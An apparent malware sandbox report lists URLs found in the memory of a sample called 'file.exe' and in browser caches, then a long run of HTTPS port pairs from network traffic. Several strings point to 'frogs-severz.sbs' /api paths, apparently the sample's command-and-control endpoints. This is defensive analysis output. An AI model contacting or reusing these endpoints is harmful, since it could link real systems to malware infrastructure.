Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_127.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_127.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_127.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_127.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_127.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256326561.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/
Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/Z
Source: file.exe, file.exe, 00000000.00000003.2337463992.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2337496139.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213489414.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256531424.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/api
Source: file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171392707.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171720379.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171745460.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apib
Source: file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apil
Source: file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256457798.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195354437.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apin
Source: file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256457798.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apit
Source: file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/apiue
Source: file.exe, 00000000.00000003.2213489414.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256531424.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/pj
Source: file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/r
Source: file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs/z
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_127.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_127.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_106.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_106.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2168339720.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9
Source: file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
